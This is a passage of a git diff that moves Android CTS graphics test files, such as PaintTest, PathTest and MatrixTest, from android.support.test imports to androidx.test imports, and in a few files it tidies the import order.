+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class Color_ColorLongTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
index bf11b93..bee93a3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposePathEffectTest.java
@@ -18,6 +18,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.ComposePathEffect;
@@ -25,11 +26,9 @@
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.PathEffect;
-import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
index 8c8911e..d7378b9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ComposeShaderTest.java
@@ -30,10 +30,11 @@
 import android.graphics.PorterDuffXfermode;
 import android.graphics.Shader;
 import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
index 54cc3c0..b3dfd3a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
@@ -30,8 +30,9 @@
 import android.graphics.PorterDuff.Mode;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
index cf1c971..d1c7889 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
@@ -26,10 +26,11 @@
 import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.PathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
index ee49e2b..e76db8f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
@@ -29,8 +29,9 @@
 import android.graphics.Path;
 import android.graphics.PorterDuff.Mode;
 import android.graphics.PorterDuffXfermode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
index 6766483..5a472ae 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
@@ -17,8 +17,9 @@
 package android.graphics.cts;
 
 import android.graphics.DrawFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
index c9a7710..f5d7dc2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
@@ -27,8 +27,9 @@
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
index 5063aa8..6a2af6a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
@@ -21,8 +21,9 @@
 import static org.junit.Assert.fail;
 
 import android.graphics.fonts.FontVariationAxis;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index b7f9c6d..cbf1a61 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -43,14 +43,14 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.NinePatchDrawable;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.util.Size;
 import android.util.TypedValue;
 
 import androidx.core.content.FileProvider;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BitmapUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
index 76a9f80..1ba8089 100644
--- a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Interpolator;
 import android.graphics.Interpolator.Result;
 import android.os.SystemClock;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
index e6fd397..b97c711 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
@@ -19,10 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Interpolator.Result;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
index c7befa8..58916f7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LightingColorFilterTest.java
@@ -22,8 +22,9 @@
 import android.graphics.Color;
 import android.graphics.LightingColorFilter;
 import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ColorUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
index 185e6a1..4bc451b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/LinearGradientTest.java
@@ -27,8 +27,9 @@
 import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ColorUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
index 6dfa96e..fe3a250 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MaskFilterTest.java
@@ -17,8 +17,9 @@
 package android.graphics.cts;
 
 import android.graphics.MaskFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
index f458778..d67411f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatrixTest.java
@@ -26,8 +26,9 @@
 import android.graphics.Matrix;
 import android.graphics.Matrix.ScaleToFit;
 import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
index bfab45d..e27de0ce 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Matrix_ScaleToFitTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Matrix.ScaleToFit;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
index 1b82003..3f8acee 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MediaVulkanGpuTest.java
@@ -18,10 +18,11 @@
 import android.content.res.AssetManager;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
index 22fa7c3..69bd645 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MovieTest.java
@@ -27,9 +27,10 @@
 import android.graphics.Canvas;
 import android.graphics.Movie;
 import android.graphics.Paint;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
index 2094d00..a4915b7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/NinePatchTest.java
@@ -32,9 +32,10 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.graphics.Region;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
index b9a667e..db6910e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OutlineTest.java
@@ -23,8 +23,9 @@
 import android.graphics.Outline;
 import android.graphics.Path;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
index e466099..40a77c8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintFlagsDrawFilterTest.java
@@ -27,8 +27,9 @@
 import android.graphics.Paint.Align;
 import android.graphics.PaintFlagsDrawFilter;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 3a539b8..f36aa5d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -39,18 +39,19 @@
 import android.graphics.Typeface;
 import android.graphics.Xfermode;
 import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.Locale;
 
-import com.android.compatibility.common.util.CddTest;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class PaintTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
index 08fb649..22e63a3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_AlignTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Paint;
 import android.graphics.Paint.Align;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
index b16cf0d..d1f4c3b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_CapTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Paint;
 import android.graphics.Paint.Cap;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
index 56cabe1..c50c02b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_FontMetricsIntTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Paint;
 import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
index c203794..07083a7 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_JoinTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Paint;
 import android.graphics.Paint.Join;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
index 0752898..38bc0ff 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Paint_StyleTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.Paint;
 import android.graphics.Paint.Style;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
index 9cc9c7e..74e78b3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffectTest.java
@@ -27,8 +27,9 @@
 import android.graphics.Path.Direction;
 import android.graphics.PathDashPathEffect;
 import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
index d4e95e0..e86ec78 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathDashPathEffect_StyleTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.PathDashPathEffect.Style;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
index d7f313b..272497e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathEffectTest.java
@@ -17,8 +17,9 @@
 package android.graphics.cts;
 
 import android.graphics.PathEffect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
index 560bce3..392cf34 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathMeasureTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Path;
 import android.graphics.Path.Direction;
 import android.graphics.PathMeasure;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PathTest.java b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
index d9fae11..90882c0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PathTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PathTest.java
@@ -28,8 +28,9 @@
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
index fb9c39f..0cdd082 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_DirectionTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Path.Direction;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
index 17f5f87..009ae6f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Path_FillTypeTest.java
@@ -19,8 +19,9 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Path.FillType;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
index d83eecf..ab27da4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PictureTest.java
@@ -28,8 +28,9 @@
 import android.graphics.Paint.Style;
 import android.graphics.Picture;
 import android.graphics.Rect;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
index e54bef9..648fce1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PixelFormatTest.java
@@ -21,8 +21,9 @@
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.PixelFormat;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
index 5d2ec5b..ba49e42 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointFTest.java
@@ -23,8 +23,9 @@
 import android.graphics.Point;
 import android.graphics.PointF;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PointTest.java b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
index d01f551..9b9284d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PointTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PointTest.java
@@ -23,8 +23,9 @@
 
 import android.graphics.Point;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
index 0beadae..e39291d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffColorFilterTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffColorFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
index 1a47f44..5443983 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PorterDuffXfermodeTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
index d133bb9..fad27b3 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RadialGradientTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Paint;
 import android.graphics.RadialGradient;
 import android.graphics.Shader.TileMode;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ColorUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
index 10ca0a6..1c44c1c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectFTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Rect;
 import android.graphics.RectF;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RectTest.java b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
index d968af2..90943ce 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/RectTest.java
@@ -24,8 +24,9 @@
 
 import android.graphics.Rect;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java b/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
index 6ac3552..a6bbced 100644
--- a/tests/tests/graphics/src/android/graphics/cts/RegionIteratorTest.java
